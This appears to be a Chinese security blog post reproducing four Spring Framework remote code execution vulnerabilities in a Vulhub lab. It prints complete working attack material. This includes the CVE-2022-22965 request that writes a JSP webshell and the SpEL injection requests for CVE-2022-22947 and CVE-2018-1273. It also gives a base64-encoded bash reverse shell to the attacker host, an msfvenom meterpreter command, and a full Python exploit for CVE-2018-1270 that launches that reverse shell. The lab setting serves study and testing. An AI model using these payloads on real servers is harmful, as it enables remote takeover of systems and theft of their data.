Spring框架漏洞解析之二(CVE-2022-22965、CVE-2022-22947、CVE-2018-1273、CVE-2018-1270)

写在前边
如果在浏览本文时发现技术性错误时,欢迎指正;如果需要本框架探测的POC和EXP也可以私信,我看到后也会及时恢复大家。
总之,欢迎各路大佬叨扰!

Spring Framework 远程代码执行漏洞(CVE-2022-22965)

一、漏洞简介:

该CVE-2022-22965是在Java 9的环境下,引入了class.module.classLoader,导致了CVE-2010-1622漏洞补丁的绕过,JDK9中存在可以绕过黑名单禁用的类,导致了这个漏洞。

二、实验环境:

攻击机(kali):192.168.200.14
靶机(Ubuntu):192.168.200.47

实验基于Vulhub平台进行复现
靶机目录

cd /vulhub/spring/CVE-2022-22965

查看当前正在运行的容器环境

三、实验流程

**1.进入环境条件

http://IP地址:8080

2.访问环境
image.png
根据提示尝试构造payload

http://192.168.200.47:8080/?name=Bob&age=25

显示效果
image.png

发送以下请求以更改 Apache Tomcat 中的日志记录配置,并将日志写入为 JSP 文件:

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 192.168.200.147:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 	AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 		Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1

访问刚才的 JSP webshell,并执行任意命令

http://192.168.200.47:8080/tomcatwar.jsp?pwd=j&cmd=id

image.png

漏洞修复等其他具体内容请见如下文章

https://mp.weixin.qq.com/s?__biz=Mzg2NjgzNjA5NQ==&mid=2247514928&idx=1&sn=d33f1046129536b3a0f2a7d02074297e&source=41#wechat_redirect

Spring Cloud Gateway 远程代码执行(CVE-2022-22947)

一、漏洞简介

Spring Cloud Gateway 提供了一个库,用于在 Spring WebFlux 之上构建 API 网关。
2022年3月份,在 3.1.0 和 3.0.6 之前版本中使用 Spring Cloud Gateway 的应用程序,当启用或暴露不安全的 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序容易受到代码注入攻击,远程攻击者可以通过发送恶意请求以执行任意代码

二、实验环境:

攻击机(kali):192.168.200.14
靶机(Ubuntu):192.168.200.47

实验基于Vulhub平台进行复现
靶机目录

cd /vulhub/spring/CVE-2022-22947

查看当前正在运行的容器环境

三、实验流程

1.进入环境条件

http://IP地址:8080

2.访问环境
image.png
3.构造包含恶意请求的路由(id参数可控)

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.200.47:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like 		Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 310

{
  "id": "hacktest",
 "filters": [{
"name": "AddResponseHeader",
"args": {
  "name": "Result",
  "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
  }],
  "uri": "http://example.com"
}

image.png
4.应用刚添加的路由发送如下数据包,此数据包会触发表达式执行:

POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.200.47:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

image.png
5.发送如下数据包可查看结果:

GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.200.47:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0



image.png
6.发送如下数据包进行清理,删除所添加的路由:

DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.200.47:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

image.png
7.刷新路由:

POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.200.47:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 8


image.png
结束3

使用工具

将脚本路径下放上url.txt,将需要检测的漏洞目标放到txt里面

python 脚本.py 

反弹shell的EXP,实现进行注入,刷新路由,回显命令,删除注入命令

python EXP.py http://target.com:8080 "反弹命令"

image.png
kali反弹shell成功
image.png

Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)

一、漏洞简介:

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

二、实验环境:

攻击机(kali):192.168.200.14
靶机(Ubuntu):192.168.200.47

实验基于Vulhub平台进行复现
靶机目录

cd /vulhub/spring/CVE-2018-1273

查看当前正在运行的容器环境

三、实验流程

1.进入环境条件

http://IP地址:8080

2.访问环境
image.png
3.访问http://your-ip:8080/users,将可以看到一个用户注册页面
image.png
4.构造poc

POST /users?page=&size=5 HTTP/1.1
Host: 192.168.200.47:8080
Connection: keep-alive
Content-Length: 124
Pragma: no-cache
Cache-Control: no-cache
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8080/users?page=0&size=5
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=

image.png
执行docker compose exec spring bash进入容器中,可见成功创建/tmp/success,说明命令执行成功:
image.png

反弹shell、

利用命令

bash -i >& /dev/tcp/192.168.200.14/8888 0>&1

编码后

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xNC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}

因为某种原因反弹shell失败了

遇到无法弹shell的可以先从自己服务器下载一个elf木马名为test:

msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.200.14 LPORT=8888 - i 3 -f elf -o test  

image.png

设置监听模块
image.png
设置参数
image.png
提权成功(由于linux系统中利用msf提权很少,便不不在掩饰)
image.png

Spring Messaging 远程命令执行漏洞(CVE-2018-1270)

一、漏洞简介:

Spring框架中的 spring-messaging 模块提供了一种基于WebSocket的STOMP协议实现,STOMP消息代理在处理客户端消息时存在SpEL表达式注入漏洞,攻击者可以通过构造恶意的消息来实现远程代码执行。

二、实验环境:

攻击机(kali):192.168.200.14
靶机(Ubuntu):192.168.200.47

实验基于Vulhub平台进行复现
靶机目录

cd /vulhub/spring/CVE-2018-1270

查看当前正在运行的容器环境

三、实验流程

1.进入环境条件

http://IP地址:8080

2.访问环境
image.png
网上大部分文章都说spring messaging是基于websocket通信,其实不然。spring messaging是基于sockjs(可以理解为一个通信协议),而sockjs适配多种浏览器:现代浏览器中使用websocket通信,老式浏览器中使用ajax通信。
连接后端服务器的流程,可以理解为:

  1. STOMP协议将数据组合成一个文本流
  2. sockjs协议发送文本流,sockjs会选择一个合适的通道:websocket或xhr(http),与后端通信

所以我们可以使用http来复现漏洞,称之为“降维打击”。
我编写了一个简单的POC脚本exploit.py(需要用python3执行),因为该漏洞是订阅的时候插入SpEL表达式,而对方向这个订阅发送消息时才会触发,所以我们需要指定的信息有:

  1. 基础地址,在vulhub中为http://your-ip:8080/gs-guide-websocket
  2. 待执行的SpEL表达式,如T(java.lang.Runtime).getRuntime().exec(‘touch /tmp/success’)
  3. 某一个订阅的地址,如vulhub中为:/topic/greetings
  4. 如何触发这个订阅,即如何让后端向这个订阅发送消息。在vulhub中,我们向/app/hello发送一个包含name的json,即可触发这个事件。当然在实战中就不同了,所以这个poc并不具有通用性。

根据你自己的需求修改POC。如果是vulhub环境,你只需修改1中的url即可。
执行EXP(注意替换IP地址)
image.png
image.png

反弹shell
使用内置EXP,更改成反弹shell命令

#!/usr/bin/env python3
import requests
import random
import string
import time
import threading
import logging
import sys
import json

logging.basicConfig(stream=sys.stdout, level=logging.INFO)


def random_str(length):
    letters = string.ascii_lowercase + string.digits
    return ''.join(random.choice(letters) for c in range(length))


class SockJS(threading.Thread):
    def __init__(self, url, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
        self.daemon = True
        self.session = requests.session()
        self.session.headers = {
            'Referer': url,
            'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
        }
        self.t = int(time.time() * 1000)

    def run(self):
        url = f'{self.base}/htmlfile?c=_jp.vulhub'
        response = self.session.get(url, stream=True)
        for line in response.iter_lines():
            time.sleep(0.5)

    def send(self, command, headers, body=''):
        data = [command.upper(), '\n']

        data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))

        data.append('\n\n')
        data.append(body)
        data.append('\x00')
        data = json.dumps([''.join(data)])

        response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
        if response.status_code != 204:
            logging.info(f"send '{command}' data error.")
        else:
            logging.info(f"send '{command}' data success.")

    def __del__(self):
        self.session.close()


sockjs = SockJS('http://192.168.200.47:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)

sockjs.send('connect', {
    'accept-version': '1.1,1.0',
    'heart-beat': '10000,10000'
})
sockjs.send('subscribe', {
    'selector': "T(java.lang.Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xNC84ODk5IDA+JjE=}|{base64,-d}|{bash,-i}')",
    'id': 'sub-0',
    'destination': '/topic/greetings'
})

data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {
    'content-length': len(data),
    'destination': '/app/hello'
}, data)

kali监听
image.png

参考文章:https://vulhub.org/#/environments/spring/CVE-2018-1270/

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
根据引用\[1\]和引用\[2\]的信息,CVE-2022-22947漏洞Spring Cloud Gateway中的一处命令注入漏洞。攻击者可以通过利用此漏洞执行SpEL表达式,从而在目标服务器上执行任意恶意代码,获取系统权限。具体来说,当使用Spring Cloud Gateway的应用程序对外暴露了Gateway Actuator接口时,攻击者可以发送恶意请求,利用漏洞进行代码注入攻击,从而在远程主机上执行任意远程代码。这个漏洞的影响范围包括Spring Cloud Gateway 3.1.x < 3.1.1和Spring Cloud Gateway 3.0.x < 3.0.7版本,以及其他旧的、不受支持的Spring Cloud Gateway版本。\[1\]\[2\] #### 引用[.reference_title] - *1* *2* [Spring Cloud Gateway RCE漏洞原理分析与复现(CVE-2022-22947)](https://blog.csdn.net/qq_49619863/article/details/127350543)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [CVE-2022-22947 Spring Cloud Gateway 远程代码执行漏洞复现](https://blog.csdn.net/weixin_45260839/article/details/124650584)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值